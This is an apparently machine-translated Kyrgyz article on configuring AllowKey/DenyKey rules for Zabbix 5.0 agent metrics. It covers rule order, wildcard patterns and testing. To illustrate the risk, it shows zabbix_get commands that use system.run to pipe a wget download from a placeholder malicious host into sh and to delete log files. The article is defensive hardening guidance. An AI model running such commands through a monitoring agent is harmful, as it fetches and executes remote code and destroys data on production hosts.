Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Тихон Усков, Интеграция инженери, Zabbix

Маалымат коопсуздугу маселелери

Zabbix 5.0 сиз Zabbix Агентти колдонуу менен системалардагы коопсуздукту жакшыртууга мүмкүндүк берген жаңы функцияга ээ жана эски параметрди алмаштырат EnableRemoteCommands.

Агентке негизделген системалардын коопсуздугун жакшыртуу агенттин көп сандагы кооптуу аракеттерди аткара ала тургандыгы менен шартталган.

  • Агент конфигурация файлдарынан, журнал файлдарынан, сырсөз файлдарынан же башка файлдардан дээрлик бардык маалыматты, анын ичинде жашыруун же потенциалдуу кооптуу маалыматты чогулта алат.

Мисалы, zabbix_get утилитасын колдонуу менен сиз колдонуучулардын тизмесине, алардын үй каталогуна, сырсөз файлдарына, ж.б.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

zabbix_get утилитасын колдонуу менен берилиштерге жетүү

ЭСКЕРТҮҮ. Маалыматтар агенттин тиешелүү файлда окуу уруксаттарына ээ болгондо гана алынышы мүмкүн. Бирок, мисалы, файл /etc/passwd/ бардык колдонуучулар окуй алат.

  • Агент потенциалдуу кооптуу буйруктарды да аткара алат. Мисалы, ачкыч *system.run[]** тармак түйүндөрүндөгү каалаган алыскы буйруктарды, анын ичинде агент тараптагы буйруктарды аткарган Zabbix веб-интерфейсиндеги скрипттерди аткарууга мүмкүндүк берет.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux'та агент демейки боюнча тамыр артыкчылыктары жок иштейт, ал эми Windows'до система катары кызмат катары иштейт жана файл тутумуна чексиз кирүү мүмкүнчүлүгү бар. Демек, орнотуудан кийин Zabbix Агенттин параметрлерине эч кандай өзгөртүүлөр киргизилбесе, агент реестрге, файл тутумуна кире алат жана WMI сурамдарын аткара алат.

Мурунку версияларда параметр EnableRemoteCommands=0 көрсөткүчтөрдү ачкыч менен өчүрүүгө гана уруксат берилген *system.run[]** жана веб-интерфейстен скрипттерди иштеп жатат, бирок айрым файлдарга кирүү мүмкүнчүлүгүн чектөөгө, агент менен орнотулган жеке ачкычтарга уруксат берүүгө же өчүрүүгө же жеке параметрлерди колдонууну чектөөгө эч кандай мүмкүнчүлүк болгон эмес.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Zabbixтин мурунку версияларында EnableRemoteCommand параметрин колдонуу

AllowKey/DenyKey

Zabbix 5.0 агент тарабында метрикага уруксат берүү жана четке кагуу үчүн ак тизмелерди жана кара тизмелерди берүү менен мындай уруксатсыз кирүүдөн коргоого жардам берет.

Zabbix 5.0 бардык баскычтар, анын ичинде *system.run[]** иштетилди жана эки жаңы агент конфигурациясынын варианттары кошулду:

AllowKey= - уруксат берилген текшерүүлөр;

DenyKey = — тыюу салынган текшерүүлөр;

бул жерде мета символдорду (*) колдонгон параметрлери бар негизги аталыш үлгүсү.

AllowKey жана DenyKey баскычтары белгилүү бир үлгүнүн негизинде жеке метрикага уруксат берүүгө же четке кагууга мүмкүндүк берет. Башка конфигурация параметрлеринен айырмаланып, AllowKey/DenyKey параметрлеринин саны чектелбейт. Бул текшерүүлөр дарагын түзүү аркылуу агент системада так эмне кыла аларын так аныктоого мүмкүндүк берет - аткарылуучу ачкычтар, мында алардын жазылуу тартиби абдан маанилүү ролду ойнойт.

Эрежелердин ырааттуулугу

Эрежелер конфигурация файлына киргизилген тартипте текшерилет. Ачкыч биринчи дал келгенге чейин эрежелер боюнча текшерилет жана маалымат элементинин ачкычы үлгүгө дал келээри менен ага уруксат берилет же четке кагылат. Андан кийин, эрежени текшерүү токтойт жана калган баскычтар этибарга алынбайт.

Демек, эгер элемент уруксат берүү жана четке кагуу эрежесине дал келсе, натыйжа конфигурация файлында кайсы эреже биринчи турганына жараша болот.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Бир эле үлгү жана ачкыч менен 2 башка эрежелер vfs.file.size[/tmp/file]

AllowKey/DenyKey баскычтарын колдонуу тартиби:

  1. так эрежелер
  2. жалпы эрежелер,
  3. тыюу салуучу эреже.

Мисалы, эгер сизге белгилүү бир папкадагы файлдарга кирүү керек болсо, адегенде аларга кирүүгө уруксат беришиңиз керек, андан кийин белгиленген уруксаттарга кирбеген бардык нерселерди четке кагыңыз. Биринчи баш тартуу эрежеси колдонулса, папкага кирүү жокко чыгарылат.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Туура ырааттуулук

Эгер сиз 2 утилитага * аркылуу иштөөгө уруксат беришиңиз керек болсоsystem.run[]**, жана четке кагуу эрежеси биринчи көрсөтүлөт, утилиталар ишке киргизилбейт, анткени биринчи үлгү ар дайым каалаган баскычка дал келет жана кийинки эрежелер этибарга алынбайт.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Туура эмес ырааттуулук

Үлгүлөр

негизги эрежелер

Үлгү - бул айкалыштыруу белгилери бар туюнтма. Метабелги (*) белгилүү бир позициядагы каалаган символдордун каалаган санына дал келет. Метабелгилер ачкычтын аталышында да, параметрлерде да колдонулушу мүмкүн. Мисалы, сиз биринчи параметрди текст менен так аныктай аласыз, жана кийинкисин коймо белги катары көрсөтүңүз.

Параметрлер чарчы кашаага [] алынышы керек.

  • system.run[* - туура эмес
  • vfs.file*.txt] - туура эмес
  • vfs.file.*[*] -туура

Кожоюн белгини колдонуунун мисалдары.

  1. Ачкычтын аталышында жана параметрде. Бул учурда, ачкыч параметрди камтыбаган окшош ачкычка туура келбейт, анткени үлгүдө биз ачкычтын аталышынын белгилүү бир аягы жана белгилүү бир параметрлер топтомун алгыбыз келет деп көрсөткөнбүз.
  2. Эгерде үлгү төрт бурчтуу кашааларды колдонбосо, үлгү параметрлерди камтыбаган бардык баскычтарга уруксат берет жана көрсөтүлгөн параметрди камтыган бардык баскычтарды четке кагат.
  3. Эгерде ачкыч толугу менен жазылса жана параметрлери ийкемдүү белги катары көрсөтүлсө, ал каалаган параметри менен окшош баскычка дал келет жана төрт бурчтуу кашаасыз ачкычка дал келбейт, б.а. уруксат берилет же четке кагылат.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Параметрлерди толтуруу эрежелери.

  • Эгер параметрлери бар ачкыч колдонууга арналган болсо, параметрлер конфигурация файлында көрсөтүлүшү керек. Параметрлер метабелги катары көрсөтүлүшү керек. Кандайдыр бир файлга кирүү мүмкүнчүлүгүн кылдаттык менен четке кагуу керек жана метрика ар кандай орфографиялар боюнча кандай маалыматты бере аларын эске алуу керек - параметр менен жана параметрсиз.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Параметрлери бар ачкычтарды жазуу өзгөчөлүктөрү

  • Эгерде ачкыч параметрлери менен көрсөтүлсө, бирок параметрлер милдеттүү эмес жана метабелги катары көрсөтүлсө, параметри жок ачкыч чечилет. Мисалы, эгерде сиз CPUдагы жүктөм жөнүндө маалыматты алууну өчүргүңүз келсе жана system.cpu.load[*] ачкычын өчүрүү керек экенин көрсөтсөңүз, параметри жок ачкыч орточо жүктөө маанисин кайтарып берерин унутпаңыз.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Параметрлерди толтуруу эрежелери

Эскертүүлөр

тууралоо

  • Кээ бир эрежелерди колдонуучу өзгөртө албайт, мисалы, ачылыш эрежелери же агенттин авто-каттоо эрежелери. AllowKey/DenyKey эрежелери төмөнкү параметрлерге таасирин тийгизбейт:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

ЭСКЕРТҮҮ. Эгер администратор ачкычты өчүрүп койсо, суралганда Zabbix метрика же ачкыч эмне үчүн "категориясына" кирери тууралуу маалымат бербейт.КОЛДОЛБОЙТ'. Алыскы буйруктарды аткарууга тыюу салуулар жөнүндө маалымат агент журналынын файлдарында да көрсөтүлбөйт. Бул коопсуздук себептери үчүн, бирок кандайдыр бир себептерден улам көрсөткүчтөр колдоого алынбаган категорияга кирсе, мүчүлүштүктөрдү оңдоону татаалдаштырат.

  • Тышкы конфигурация файлдарын (мисалы, алфавиттик тартипте) туташтыруу үчүн кандайдыр бир конкреттүү тартипке ишенбешиңиз керек.

Command Line Utilities

Эрежелерди орноткондон кийин, бардыгы туура конфигурацияланганына ынанышыңыз керек.

Сиз үч варианттын бирин колдоно аласыз:

  • Zabbix'ке метрика кошуңуз.
  • менен сыноо zabbix_agentd. опциясы менен Zabbix агенти -басма (-p) конфигурацияда уруксат берилбегендерден башка бардык баскычтарды (демейки боюнча уруксат берилген) көрсөтөт. Жана варианты менен -тест (-t) тыюу салынган ачкыч кайтып келет 'Колдоого алынбаган нерсе ачкычы'.
  • менен сыноо zabbix_get. Утилита zabbix_get опция менен -k кайра келет 'ZBX_NOTSUPPORTED: Белгисиз метрика'.

Уруксат берүү же баш тартуу

Сиз файлга кирүү мүмкүнчүлүгүнөн баш тартып, мисалы, утилитаны колдонуп текшере аласыз zabbix_getфайлга кирүүгө тыюу салынган.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

**

ЭСКЕРТҮҮ. Параметрдеги тырмакчалар этибарга алынбайт.

Бул учурда, мындай файлга кирүү башка жол аркылуу берилиши мүмкүн. Мисалы, символдук шилтеме ага алып келсе.

Zabbix 5.0деги агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо

Көрсөтүлгөн эрежелерди колдонуунун ар кандай варианттарын текшерүү, ошондой эле тыюу салууларды айланып өтүү мүмкүнчүлүктөрүн эске алуу сунушталат.

Суроолор жана жооптор

суроо. Эмне үчүн эрежелерди, уруксаттарды жана тыюуларды сүрөттөө үчүн өз тили менен мынчалык татаал үлгү тандалган? Эмне үчүн, мисалы, Zabbix колдонгон туруктуу сөз айкаштарын колдонуу мүмкүн болгон жок?

жооп. Бул regex аткаруу маселеси, анткени адатта бир гана агент бар жана ал көп сандагы көрсөткүчтөрдү текшерет. Regex - бул өтө оор операция жана биз миңдеген метрикаларды ушундай жол менен текшере албайбыз. Wildcards - универсалдуу, кеңири колдонулган жана жөнөкөй чечим.

суроо. Include файлдары алфавиттик тартипте камтылган эмеспи?

жооп. Менин билишимче, эгер сиз эрежелерди ар кандай файлдарга жайылтсаңыз, эрежелердин кандай тартипте колдонулаарын алдын ала айтуу дээрлик мүмкүн эмес. Мен бардык AllowKey/DenyKey эрежелерин бир Include файлында чогултууну сунуштайм, анткени алар бири-бири менен өз ара аракеттенишет жана бул файлды камтыйт.

суроо. Zabbix 5.0 параметринде 'EnableRemoteCommands=' конфигурация файлында жок жана AllowKey/DenyKey гана барбы?

Жооп. Ооба бардыгы туура.

Конул бурганын учун рахмат!

Source: www.habr.com